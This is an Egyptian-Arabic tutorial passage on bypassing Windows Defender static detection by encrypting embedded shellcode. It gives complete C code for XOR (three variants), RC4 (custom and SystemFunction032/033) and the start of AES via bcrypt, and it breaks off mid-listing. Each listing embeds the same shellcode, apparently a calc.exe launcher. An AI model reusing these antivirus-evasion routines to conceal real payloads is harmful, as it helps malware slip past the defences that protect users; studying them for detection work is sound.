السَّلاَمُ عَلَيْكُمْ وَرَحْمَةُ اللهِ وَبَرَكَاتُهُ
اللَّهُمَّ صَلِّ عَلَى مُحَمَّدٍ وَعَلَى آلِ مُحَمَّدٍ، كَمَا صَلَّيْتَ عَلَى إِبْرَاهِيمَ وَآلِ إِبْرَاهِيمَ، إِنَّكَ حَمِيدٌ مَجِيدٌ، وَبَارِكْ عَلَى مُحَمَّدٍ وَعَلَى آلِ مُحَمَّدٍ، كَمَا بَارَكْتَ عَلَى إِبْرَاهِيمَ وَآلِ إِبْرَاهِيمَ، إِنَّكَ حَمِيدٌ مَجِيدٌ،
[+] فـ المقالة اللـ فاتت كُنت قولتلك فـ جملة بين قوسين تقفل الـ Windows Defender ، أو تعمل للفولدر exclusive.
[+] فـ المقالة دي بقي ، هنتكلم عن إزاي نـ bypass الـ Static Analysis بتاع الويندوز عن طريق الـ Encryption.
وهنتكلم تحديدا عن:
1.1 XOR Encryption By One Key.
1.2 XOR Encryption By I Key.
1.3 XOR Encryption By Multi Keys.
2.1 RC4 Encryption Via Custom Implementation.
2.2 RC4 Encryption Via SystemFunction032.
2.3 RC4 Encryption Via SystemFunction033.
3.1 AES Encryption Via Bcrypt.lib
3.2 AES Encryption Via Imported Files.
[+] الـ XOR أو الـ Exclusive OR .. دي عملية منطقية بتشتغل ع بتّين وهما الـ 0 والـ 1 ، وبتدينا ناتج ع حسب القاعدة دي:
| A XOR B (A ^ B) | B | A |
|---|---|---|
| 0 | 0 | 0 |
| 1 | 1 | 0 |
| 1 | 0 | 1 |
| 0 | 1 | 1 |
[+] أو زي مـ كانوا بيخلونا نبصمج فـ هندسة .. لو متشابهين بـ 0 ، ولو مختلفين بـ 1.
[+] طب ليه بنستخدم XOR في الـ Encryption؟
الميزة القوية في الـ XOR إنه عكسي بطبيعته ، بمعني إن لو شغلت الـ XOR ع Data بـ key معين ، تقدر ترجع الداتا الأصلية بنفس الـ key ونفس العملية .. وده بيخليها طريقة تشفير وفك تشفير بسيطة وسريعة.
[+] أعتقد إن كل الكلام ده إنت عارفُه .. تعالي ندخل ع العملي ونشوف الطرق اللـ هنتكلم فيها:
[+] فـ الطريقة دي بيكون معانا key واحد ثابت .. ودا فكرته إن كل بايت فـ الشيل كود بيتعملة XOR مع الكي ده .. ونفس الكي بنستخدمة عشان نشفر ونفك كمان .. يلا نبدأ فـ الخطوات:
main.c ، وهنشتغل ع نفس الشيل كود بتاع
المقالة اللـ فاتت (ولو مش فاكر بيعمل إيه الشيل كود ده إرجع للمقالة) .. والـ key اللـ هشتغل بية
هو 0x4de1.
for loop ،
مهمتها إنها بتعدي ع كل بايت فـ الشيل كود وتعمله XOR مع الـ key.
[+] يلا بينا نـ رن الكود من الـ Local Windows Debugger.
Continue ، بعدين Enter عشان تتم عملية التشفير .. بعد كدا
وقف العملية وإرجع لنفس العنوان فـ
الميموري هتلاقي بالفعل الشيل كود بتاعنا إتشفر.
[+] ودي كانت أول وأسهل وأبسط طريقة .. ودا الكود النهائي:
#include <Windows.h>
#include <stdio.h>
unsigned char OurShellCode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
unsigned char key = 0x4de1;
VOID XorByOneKey(PBYTE pOurShellCode, SIZE_T sOurShellCodeSize, BYTE bkey) {
for (int i = 0; i < sOurShellCodeSize; i++) {
pOurShellCode[i] = pOurShellCode[i] ^ bkey;
}
}
int main() {
printf("[i] ShellCode Address : 0x%p \n", OurShellCode);
printf("[i] Press <Enter> to Encrypt .....");
getchar();
XorByOneKey(OurShellCode, sizeof(OurShellCode), key);
printf("[i] Press <Enter> to Decrypt .....");
getchar();
XorByOneKey(OurShellCode, sizeof(OurShellCode), key);
printf("[i] Press <Enter> to Quit .....");
getchar();
return 0;
}
[+] الطريقة اللـ فاتت كان الـ key واحد وثابت .. فـ كان سهل يتعمل brute force ويتعرف الكي.
[+] تعالي نصعب الموضوع أكتر سيكا ع الـ Antivirus .. فـ الطريقة دي بقي .. الـ key بيتغير مع كل بايت ودي عن طريق إني بستخدم متغير "i" فـ الـ for loop .. بمعني إن الكي لكل بايت بيكون معتمد ع موقعه أو مكانه فين فـ الداتا .. يعني من الآخر كدا كل بايت بيتشفر بقيمة مختفلة غير التاني .. وتعالي نشوف إزاي:
main.c ، وهتاخد كوبي لكل الكود
اللـ فات.
[+] يلا نـ رن ونشوف:
0x1d ، ودي نفس القيمة اللـ طلعت
بالطريقة اللـ الأولي لإن
مستخدمين نفس الكي .. منطقي يعني .. الإختلاف بقي فـ باقي القيم هتلاقيهم كلهم متغيرين وطبعا إنت
فهمت ليه.
[+] ودي كانت تاني طريقة .. ودا الكود النهائي:
#include <Windows.h>
#include <stdio.h>
unsigned char OurShellCode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
unsigned char key = 0x4de1;
VOID XorByIKey(PBYTE pOurShellCode, SIZE_T sOurShellCodeSize, BYTE bkey) {
for (int i = 0; i < sOurShellCodeSize; i++) {
pOurShellCode[i] = pOurShellCode[i] ^ (bkey + i);
}
}
int main() {
printf("[i] ShellCode Address : 0x%p \n", OurShellCode);
printf("[i] Press <Enter> to Encrypt .....");
getchar();
XorByIKey(OurShellCode, sizeof(OurShellCode), key);
printf("[i] Press <Enter> to Decrypt .....");
getchar();
XorByIKey(OurShellCode, sizeof(OurShellCode), key);
printf("[i] Press <Enter> to Quit .....");
getchar();
return 0;
}
[+] هنصعب الموضوع أكتر .. وهنستخدم فـ الطريقة دي أكتر من key .. وفكرتها إن الـ keys دول بيلفوا ع القيم واحد واحد لحد مـ عدد الـ keys يخلص .. ويرجع يلف من الأول.
[+] بمعني إن لو عندي عدد الـ keys مثلا 4 .. معني كدا إن أول كي هيشفر أول قيمة فـ الشيل كود .. والتاني مع القيمة التانية .. والتالته والرابعة كذلك .. هنيجي بقي ع القيمة رقم 5 فـ الشيل كود .. هترجع تتشفر بالكي رقم 1 وهكذا .. ولفي بينا يا دنيااا
{ 0x04, 0x0d, 0x0e, 0x01 }
[+] يلا نـ رن ونشوف:
[+] ودي كانت تالت وآخر طريقة .. ودا الكود النهائي:
#include <Windows.h>
#include <stdio.h>
unsigned char OurShellCode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
unsigned char keys[] = { 0x04, 0x0d, 0x0e, 0x01 };
VOID XorByMultiKeys(PBYTE pOurShellCode, SIZE_T sOurShellCodeSize, PBYTE bKeys, SIZE_T skeySize) {
for (int i = 0, j = 0; i < sOurShellCodeSize; i++, j++) {
if (j >= skeySize) {
j = 0;
}
pOurShellCode[i] = pOurShellCode[i] ^ bKeys[j];
}
}
int main() {
printf("[i] ShellCode Address : 0x%p \n", OurShellCode);
printf("[i] Press <Enter> to Encrypt .....");
getchar();
XorByMultiKeys(OurShellCode, sizeof(OurShellCode), keys, sizeof(keys));
printf("[i] Press <Enter> to Decrypt .....");
getchar();
XorByMultiKeys(OurShellCode, sizeof(OurShellCode), keys, sizeof(keys));
printf("[i] Press <Enter> to Quit .....");
getchar();
return 0;
}
[+] هنتكلم ع تاني جزء معانا وهو ألجوريزم الـ RC4 أو الـ Rivest Cipher 4 .. دا نوع من أنواع التشفير
بيشتغل بطريقة الـ Symmetric Key Encryption .. وده معناه إن
الـ key اللـ بيشفر الداتا هو نفسه
اللـ بيفك التشفير.
[+] طب شغال إزاي بقى؟
الـ RC4 بيعتمد ع إنه بيولد حاجه اسمها Keystream عشوائي ، وبعدها بياخد كل بايت من
الداتا اللـ
عاوز تشفرها ، ويعمل عليه XOR مع بايت من الـ key ، فينتج عندك الداتا المشفرة .. ونفس العملية بتحصل في
فك التشفير، لأن XOR لو اتعمل مرتين بيرجعلك الحاجة الأصلية ، ودا عرفناه فـ الجزء اللـ اتكلمنا عنه
فوق.
[+] وبيتم ع 3 مراحل:
↑ الفكرة هنا إننا بنجهز حاجة اسمها S-Box ، ودي عبارة عن مصفوفة فيها القيم
من 0 لـ 255 .. بعدين
بنستخدم الـ key اللـ هنشفر بيه عشان نبدل القيم جوه المصفوفة بطريقة معينة.
↑ دلوقتي بعد مـ خلصنا التهيئة ، بنبدأ نولد الـ Keystream .. والفكرة هنا إننا هنمشي خطوة خطوة فـ المصفوفة اللـ لسه مغيرينها ، ونستخدم القيم اللـ فيها عشان نطلع سلسلة من الأرقام العشوائية اللـ هنستخدمها فـ التشفير.
↑ وكل الفكرة هنا إننا بنستخدم الـ XOR بين الداتا الأصلية و تيار الكي عشان ننتج النص المشفر.
[+] أول طريقة معانا ، واللـ سميتها Custom Implementation ، لإن بعتمد فيها ع مصادر أكواد خارجية ودا لينك المصدر اللـ هتلاقي فيه الكود ، وأنا بس مُجرد عدلت حاجات بسيطة فـ الكود.
void rc4Init(Rc4Context* context, const unsigned char* key, size_t length)
if (context == NULL || key == NULL) return; context->i = 0;
context->j = 0;for (i = 0; i < 256; i++) context->s[i] = i; for (i = 0, j = 0; i < 256; i++) {
j = (j + context->s[i] + key[i % length]) % 256;
temp = context->s[i];
context->s[i] = context->s[j];
context->s[j] = temp;
}
void rc4Cipher(Rc4Context* context, const unsigned char* input, unsigned char* output, size_t length)
unsigned int i = context->i;
unsigned int j = context->j;
unsigned char* s = context->s;while (length > 0) {
i = (i + 1) % 256;
j = (j + s[i]) % 256;
temp = s[i];
s[i] = s[j];
s[j] = temp;
if (input != NULL && output != NULL)
*output = *input ^ s[(s[i] + s[j]) % 256];
input++;
output++;
length--;context->i = i;
context->j = j;
size_t shellcode_len = sizeof(OurShellCode) - 1;Rc4Context ctx = { 0 };
rc4Init(&ctx, keys, sizeof(keys));
unsigned char* Ciphertext = (unsigned char*)HeapAlloc(GetProcessHeap(), 0, shellcode_len);
ZeroMemory(Ciphertext, shellcode_len);
rc4Cipher(&ctx, OurShellCode, Ciphertext, shellcode_len);
rc4Init(&ctx, keys, sizeof(keys));unsigned char* Plaintext = (unsigned char*)HeapAlloc(GetProcessHeap(), 0, shellcode_len);
ZeroMemory(Plaintext, shellcode_len);rc4Cipher(&ctx, Ciphertext, Plaintext, shellcode_len); HeapFree(GetProcessHeap(), 0, Ciphertext);
HeapFree(GetProcessHeap(), 0, Plaintext);
[+] يلا نـ رن:
[+] ودي كانت أول طريقة فـ الـ RC4 .. ودا الكود النهائي:
#include <Windows.h>
#include <stdio.h>
typedef struct {
unsigned int i;
unsigned int j;
unsigned char s[256];
} Rc4Context;
void rc4Init(Rc4Context* context, const unsigned char* key, size_t length) {
unsigned i, j;
unsigned char temp;
if (context == NULL || key == NULL)
return;
context->i = 0;
context->j = 0;
for (i = 0; i < 256; i++)
context->s[i] = i;
for (i = 0, j = 0; i < 256; i++) {
j = (j + context->s[i] + key[i % length]) % 256;
temp = context->s[i];
context->s[i] = context->s[j];
context->s[j] = temp;
}
}
void rc4Cipher(Rc4Context* context, const unsigned char* input, unsigned char* output, size_t length) {
unsigned char temp;
unsigned int i = context->i;
unsigned int j = context->j;
unsigned char* s = context->s;
while (length > 0) {
i = (i + 1) % 256;
j = (j + s[i]) % 256;
temp = s[i];
s[i] = s[j];
s[j] = temp;
if (input != NULL && output != NULL)
*output = *input ^ s[(s[i] + s[j]) % 256];
input++;
output++;
length--;
}
context->i = i;
context->j = j;
}
unsigned char OurShellCode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
unsigned char keys[] = { 0x04, 0x0d, 0x0e, 0x01 };
int main() {
size_t shellcode_len = sizeof(OurShellCode) - 1;
Rc4Context ctx = { 0 };
printf("[i] ShellCode Plaintext Address: 0x%p\n", OurShellCode);
printf("[i] Press <Enter> to Encrypt .....");
getchar();
rc4Init(&ctx, keys, sizeof(keys));
unsigned char* Ciphertext = (unsigned char*)HeapAlloc(GetProcessHeap(), 0, shellcode_len);
ZeroMemory(Ciphertext, shellcode_len);
rc4Cipher(&ctx, OurShellCode, Ciphertext, shellcode_len);
printf("[i] ShellCode Encrypted Address: 0x%p\n", Ciphertext);
printf("[i] Encrypted ShellCode: ");
for (size_t i = 0; i < shellcode_len; i++) {
printf("\\x%02x", Ciphertext[i]);
}
printf("\n\n");
printf("[i] Press <Enter> to Decrypt .....");
getchar();
rc4Init(&ctx, keys, sizeof(keys));
unsigned char* Plaintext = (unsigned char*)HeapAlloc(GetProcessHeap(), 0, shellcode_len);
ZeroMemory(Plaintext, shellcode_len);
rc4Cipher(&ctx, Ciphertext, Plaintext, shellcode_len);
printf("[i] Decrypted ShellCode: ");
for (size_t i = 0; i < shellcode_len; i++) {
printf("\\x%02x", Plaintext[i]);
}
printf("\n");
getchar();
HeapFree(GetProcessHeap(), 0, Ciphertext);
HeapFree(GetProcessHeap(), 0, Plaintext);
return 0;
}
[+] تاني طريقة وهي باستخدام دالة موجودة في مكتبة Advapi32.dll بتقدر تنفذ عملية RC4
Encryption
من الـ Windows API ، إسمها SystemFunction032.
USTRING
، ودي طريقة تبع الويندوز لتمثيل البيانات اللـ هنتعامل
معاها ، وهي شبيهة بـ STRING بس مخصصة للـ NT API .. وبنستخدمها عشان نمرر الداتا
والكي لدالة
التشفير .
SystemFunction032
.. ده نوع مخصص (typedef) بيقول إن SystemFunction032 هي دالة
بترجع NTSTATUS ، وبتاخد بيانات (Data) ومفتاح (key) للتشفير أو فك التشفير.
SystemFunction032 من مكتبة Advapi32.dll ، وده عشان تشتغل ع طول من
غير مـ نحتاج نعرفها مسبقا فـ
الكود .. بعدين الدالة بتاخد الشيل كود والكي ، وبتستخدم الـ SystemFunction032 عشان تنفذ التشفير
.. ولو حصل أي إيرور ، بنطبع رسالة فشل.
[+] يلا نـ رن :
[+] ودي كانت تاني طريقة فـ الـ RC4 .. ودا الكود النهائي:
#include <Windows.h>
#include <stdio.h>
typedef struct
{
DWORD Length;
DWORD MaximumLength;
PVOID Buffer;
} USTRING;
typedef NTSTATUS(NTAPI* fnSystemFunction032)(
struct USTRING* Data,
struct USTRING* key
);
BOOL Rc4EncryptionViaSystemFunc032(PBYTE pRc4Key, PBYTE pPayloadData, DWORD swRc4KeySize, DWORD sPayloadSize) {
NTSTATUS STATUS = NULL;
USTRING Data = { .Buffer = pPayloadData, .Length = sPayloadSize, .MaximumLength = sPayloadSize };
USTRING key = { .Buffer = pRc4Key, .Length = swRc4KeySize, .MaximumLength = swRc4KeySize };
fnSystemFunction032 SystemFunction032 = (fnSystemFunction032)GetProcAddress(LoadLibraryA("Advapi32"), "SystemFunction032");
if ((STATUS = SystemFunction032(&Data, &key)) != 0x0) {
printf("[!] SystemFunction032 FAILED with Error : 0x%0.8X \n", STATUS);
return FALSE;
}
return TRUE;
}
unsigned char OurShellCode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
unsigned char keys[] = { 0x04, 0x0d, 0x0e, 0x01 };
int main() {
size_t shellcode_len = sizeof(OurShellCode) - 1;
unsigned char OriginalShellCode[sizeof(OurShellCode)];
memcpy(OriginalShellCode, OurShellCode, sizeof(OurShellCode));
printf("[i] OurShellCode Plaintext Address: 0x%p\n", OurShellCode);
printf("[i] Press <Enter> to Encrypt .....\n");
getchar();
if (!Rc4EncryptionViaSystemFunc032(keys, OurShellCode, sizeof(keys), shellcode_len)) {
return -1;
}
printf("[i] OurShellCode Encrypted Address: 0x%p\n", OurShellCode);
printf("[i] Encrypted OurShellCode: ");
for (size_t i = 0; i < shellcode_len; i++) {
printf("\\x%02x", OurShellCode[i]);
}
printf("\n\n");
printf("[i] Press <Enter> to Decrypt .....\n");
getchar();
if (!Rc4EncryptionViaSystemFunc032(keys, OurShellCode, sizeof(keys), shellcode_len)) {
return -1;
}
printf("[i] Decrypted OurShellCode: ");
for (size_t i = 0; i < shellcode_len; i++) {
printf("\\x%02x", OurShellCode[i]);
}
printf("\n");
if (memcmp(OriginalShellCode, OurShellCode, shellcode_len) == 0) {
printf("[i] Decryption Successful!\n");
}
else {
printf("[!] Decryption Failed: Data Mismatch\n");
}
getchar();
return 0;
}
[+] فـ الجزء اللـ فات استخدمنا SystemFunction032 ، الويندوز بيوفر كمان SystemFunction033 ، ودي نسخة
تانية بس بتتعامل مع الداتا بطريقة مختلفة شوية .. الفرق الأساسي إن SystemFunction033 بتتعامل مع
UNICODE_STRING بدل USTRING ، وده بيخليها
تكون متوافقة أكتر مع بعض السيناريوهات اللـ بتحتاج Unicode
Data
Processing.
كل اللـ هنعمله إن هناخد الكود اللـ فات كوبي .. وهنـ Replace أي 032 بـ 033 بس ، وهو هو نفس الكود بنفس كل حاجه.
[+] وهتلاقي نفس النتيجة لما تـ رن.
[+] فـ الأجزاء اللـ فاتت اتكلمنا عن RC4 Encryption، وشفنا 3 طُرق لتشفير الشيل كود بتاعنا .. بس فـ
مشكلة ، وهي إن الـ RC4 خوارزمية تشفير Stream Cipher ، وده معناه إنها بتشتغل ع
Byte-by-Byte ، وده
بيخليها عُرضة لهجمات معينة زي Bit-Flipping Attacks .. عشان كده المرادي هنروح لحاجة أقوى وهي AES
Encryption.
[+] طيب ليه نستخدم AES بدل RC4؟
Block Cipher بدل Stream Cipher ، وده
بيخليه أقوى بكتير ضد محاولات
فك التشفير العشوائية.[+] إيه هو بقي الـ AES ؟
الـ AES أو الـ Advanced Encryption Standard ، دا نوع من أنواع ألجوريزم التشفير بيشتغل بطريقة الـ
Symmetric Key Encryption ، يعني نفس الكي
بيستخدم فـ التشفير والفك .. ودي خوارزمية قوية وبتستخدم فـ
تأمين البيانات والمعلومات الحساسة لإنها بتوصل خصوصية عالية.
[+] بيشتغل إزاي؟
الـ AES ع عكس الـ RC4 مش بيشفر الداتا Byte-by-Byte ، لا هو بيشتغل ع شكل بلوكات (Blocks) ، يعني بيقسم الداتا لمجموعة أجزاء كل جزء حجمه 16 بايت (128 بت) .. بيحصل التشفير ع كل بلوك لوحده ، والعمليات بتتم ع كذا جولة (Round) ع حسب طول الكي:
كل جولة فيها 4 عمليات أساسية بتحول الداتا لحالة مش مفهومة خالص:
فـ الخطوة دي بتاخد كل بايت فـ البلوك وتستبدله بـ بايت تاني باستخدام جدول معين اسمه S-Box ، والجدول ده معمول بطريقة تخلي أي تغيير فـ البايت الواحد يغير النتيجة كلها.
هنا البيانات بتتخزن ع شكل مصفوفة 4×4 ، والخطوة دي بتحرك الصفوف بتاعتها كالتالي:
هنا كل عمود فـ المصفوفة بيتحول باستخدام معادلات رياضية معقدة ، وده بيزود صعوبة الكسر ويخلط البتات أكتر.
آخر خطوة هي دمج الداتا مع الكي باستخدام عملية XOR.
[+] وكل الخطوات دي بتحصل عشان تتم عملية الـ Encryption ، وعشان يحصل الـ Decryption بتتعكس الخطوات كالتالي:
[+] الفكرة هنا إن الويندوز بيوفر مكتبة اسمها Bcrypt.lib ، ودي مكتبة بتسهل تنفيذ
خوارزميات التشفير زي
AES من غير مـ تكتب الكود بنفسك .. وهنستخدم Windows Crypto API لتشفير وفك الـ Shellcode بتاعنا.
يلا نشوف أجزاء من الكود :
AESEncryptDecrypt ،
ودي وظيفتها تشفر أو تفك تشفير الداتا باستخدام AES-128 فـ
وضع الـ CBC ع حسب قيمة encrypt .. الأول بتفتح مزود التشفير (BCryptOpenAlgorithmProvider) ، وتحدد
إننا هنشتغل بـ وضع CBC ، بعد كدا بتجيب حجم الكي المطلوب (BCryptGetProperty) ، وتعمل كي التشفير
(BCryptGenerateSymmetricKey) باستخدام
AESKey بعد مـ المفتاح يكون جاهز ، لو encrypt == TRUE
الفانكشن بتشفر الداتا (BCryptEncrypt)
، ولو FALSE بتعمل فك تشفير (BCryptDecrypt) ، وبعد مـ
العملية تخلص بتنسخ النتيجة مكان الداتا الأصلية وترجع TRUE لو كل حاجة مشت تمام ، أو FALSE لو حصلت
مشكلة ، وفـ الحالتين بتنضف الميموري قبل مـ تخرج.
Shellcode (originalSize) ، وبيحفظه فـ
processedSize ، وبعدين بتشتغل دالة التشفير AESEncryptDecrypt ع OurShellCode ، ولو العملية نجحت،
بيطبع الـ Shellcode المتشفر .. بعد كدا عملية فك التشفير بنفس الدالة ، ولو نجحت بيطبع الـ
Shellcode بعد الفك.
[+] يلا نـ رن :
[+] ودي كانت أول طريقة فـ الـ AES .. ودا الكود النهائي:
#include <windows.h>
#include <bcrypt.h>
#include <stdio.h>
#pragma comment(lib, "bcrypt.lib")
#define AES_BLOCK_SIZE 16
unsigned char OurShellCode[288] =
